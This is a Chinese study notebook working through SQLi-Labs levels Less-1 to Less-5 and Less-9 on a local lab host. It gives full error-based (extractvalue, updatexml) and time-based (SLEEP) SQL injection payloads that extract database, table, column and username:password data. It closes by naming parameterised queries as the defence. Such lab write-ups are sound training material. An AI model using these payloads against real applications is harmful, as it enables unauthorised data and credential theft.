实验环境:Ubuntu 虚拟机 + SQLi-Labs + Firefox + HackBar
靶场地址示例:
http://192.168.101.136/sqli/本笔记仅用于本人搭建并授权测试的本地靶场。
一、实验前说明
在 Firefox 中打开对应关卡,例如:
http://192.168.101.136/sqli/Less-1/?id=1
打开 HackBar 后,把完整 URL 或 id= 后面的 Payload 填入并执行。
常用说明:
-
--+:注释后面的原 SQL。 -
%23:#的 URL 编码,--+不生效时可尝试。 -
database():获取当前数据库名。 -
extractvalue():制造 XPath 报错,并把查询结果显示在错误信息中。 -
0x7e:字符~,便于识别查询结果。 -
截图快捷键:
Win + Shift + S。
第一关:Less-1
1. 题目特点
原 SQL 结构类似:
sql
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
id 被单引号包围,因此属于单引号字符型注入。
2. 操作步骤
正常访问
http://192.168.101.136/sqli/Less-1/?id=1
测试单引号
http://192.168.101.136/sqli/Less-1/?id=1'
出现 SQL 语法错误,说明输入进入了 SQL。
获取数据库名
HackBar Payload:
1' AND extractvalue(1,concat(0x7e,database(),0x7e))--+
完整 URL:
http://192.168.101.136/sqli/Less-1/?id=1%27%20AND%20extractvalue(1,concat(0x7e,database(),0x7e))--+
预期结果类似:
XPATH syntax error: '~security~'
其中 security 是当前数据库名。
3. 截图

4. 一句话总结
Less-1 的重点是:闭合单引号,再利用报错函数显示数据库名。
第二关:Less-2
1. 题目特点
原 SQL 结构类似:
sql
SELECT * FROM users WHERE id=$id LIMIT 0,1;
id 外面没有引号,因此属于数字型注入。
2. 操作步骤
正常访问
http://192.168.101.136/sqli/Less-2/?id=1
获取数据库名
HackBar Payload:
1 AND extractvalue(1,concat(0x7e,database(),0x7e))--+
完整 URL:
sql
http://192.168.101.136/sqli/Less-2/?id=1%20AND%20extractvalue(1,concat(0x7e,database(),0x7e))--+
预期结果类似:
XPATH syntax error: '~security~'
3. 截图

4. 一句话总结
Less-2 的重点是:数字型参数不需要闭合单引号。
第三关:Less-3
1. 题目特点
原 SQL 结构类似:
sql
SELECT * FROM users WHERE id=('$id') LIMIT 0,1;
输入值外面既有单引号,又有括号,因此需要闭合:
')
2. 操作步骤
正常访问
http://192.168.101.136/sqli/Less-3/?id=1
测试闭合
1')--+
获取数据库名
HackBar Payload:
1') AND extractvalue(1,concat(0x7e,database(),0x7e))--+
完整 URL:
sql
http://192.168.101.136/sqli/Less-3/?id=1%27)%20AND%20extractvalue(1,concat(0x7e,database(),0x7e))--+
预期结果类似:
XPATH syntax error: '~security~'
3. 截图

4. 一句话总结
Less-3 的重点是:同时闭合单引号和右括号。
第四关:Less-4
1. 题目特点
原 SQL 结构类似:
sql
SELECT * FROM users WHERE id=("$id") LIMIT 0,1;
输入值外面是双引号和括号,因此需要闭合:
")
2. 操作步骤
正常访问
http://192.168.101.136/sqli/Less-4/?id=1
测试闭合
1")--+
获取数据库名
HackBar Payload:
1") AND extractvalue(1,concat(0x7e,database(),0x7e))--+
完整 URL:
sql
http://192.168.101.136/sqli/Less-4/?id=1%22)%20AND%20extractvalue(1,concat(0x7e,database(),0x7e))--+
预期结果类似:
XPATH syntax error: '~security~'
3. 截图

4. 一句话总结
Less-4 的重点是:使用双引号和右括号闭合,不能照搬 Less-3。
第五关:Less-5
1. 题目特点
原 SQL 结构类似:
sql
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
它和 Less-1 一样属于单引号字符型,但正常查询时不会直接显示用户名和密码。
特点是:
正常数据不回显
数据库错误可以回显
因此 Less-5 适合练习报错注入。
2. 操作步骤
正常访问
sql
http://192.168.101.136/sqli/Less-5/?id=1
页面通常只显示:
You are in...........
获取数据库名
1' AND extractvalue(1,concat(0x7e,database(),0x7e))--+
预期看到:
XPATH syntax error: '~security~'
获取当前数据库中的表名
sql
1' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))--+
预期可能看到:
emails,referers,uagents,users
获取 users 表的字段名
sql
1' AND extractvalue(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'),0x7e))--+
预期可能看到:
id,username,password
可选:查看 SQLi-Labs 自带练习数据
1' AND extractvalue(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) FROM users),0x7e))--+
其中 0x3a 代表冒号 :。
报错信息长度有限,只显示部分内容属于正常情况。
3. 截图


4. 一句话总结
Less-5 的重点是:正常数据不显示,但可以让数据库通过错误信息显示数据库名、表名和字段名。
第六关:Less-9
1. 题目特点
原 SQL 结构类似:
sql
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
Less-9 页面不会显示查询数据,也不会显示数据库错误,因此属于时间盲注。
判断方法是:
-
条件为真:数据库延迟。
-
条件为假:数据库快速返回。
2. 操作步骤
正常访问
sql
http://192.168.101.136/sqli/Less-9/?id=1
真条件测试
HackBar Payload:
1' AND IF(1=1,SLEEP(5),0)--+
完整 URL:
http://192.168.101.136/sqli/Less-9/?id=1%27%20AND%20IF(1=1,SLEEP(5),0)--+
页面应延迟约 5 秒。
假条件测试
HackBar Payload:
1' AND IF(1=2,SLEEP(5),0)--+
完整 URL:
sql
http://192.168.101.136/sqli/Less-9/?id=1%27%20AND%20IF(1=2,SLEEP(5),0)--+
页面应快速返回。
验证数据库名是否为 security
1' AND IF(database()='security',SLEEP(5),0)--+
如果延迟约 5 秒,说明当前数据库名是 security。
3. 截图

4. 一句话总结
Less-9 的重点是:页面没有回显时,通过响应时间判断 SQL 条件真假。
七、六关对比表
| 关卡 | 参数类型 | 闭合方式 | 主要练习内容 |
|---|---|---|---|
| Less-1 | 单引号字符型 | ' |
基础报错注入 |
| Less-2 | 数字型 | 无引号 | 数字型注入 |
| Less-3 | 字符型加括号 | ') |
单引号和括号闭合 |
| Less-4 | 双引号加括号 | ") |
双引号和括号闭合 |
| Less-5 | 单引号字符型 | ' |
报错获取库名、表名和字段名 |
| Less-9 | 单引号字符型 | ' |
时间盲注 |
八、常见错误
1. Less-2 多加单引号
错误:
1' AND ...
正确:
1 AND ...
2. Less-3 忘记闭合括号
错误:
1' AND ...
正确:
1') AND ...
3. Less-4 使用了单引号
错误:
1') AND ...
正确:
1") AND ...
4. 注释符不生效
优先使用:
--+
如果不生效,尝试:
%23
5. extractvalue 不可用
可尝试:
updatexml(1,concat(0x7e,database(),0x7e),1)
例如 Less-5:
1' AND updatexml(1,concat(0x7e,database(),0x7e),1)--+
九、学习总结
六关的核心区别:
Less-1:单引号
Less-2:数字型
Less-3:单引号加括号
Less-4:双引号加括号
Less-5:报错注入
Less-9:时间盲注
正确的解题思路:
查看原 SQL
→ 判断数字型或字符型
→ 判断引号和括号
→ 正确闭合
→ 加入报错函数或延时函数
→ 使用 HackBar 发送
→ 观察结果
→ 截图记录
最根本的防御方式是参数化查询,不能直接把用户输入拼接进 SQL。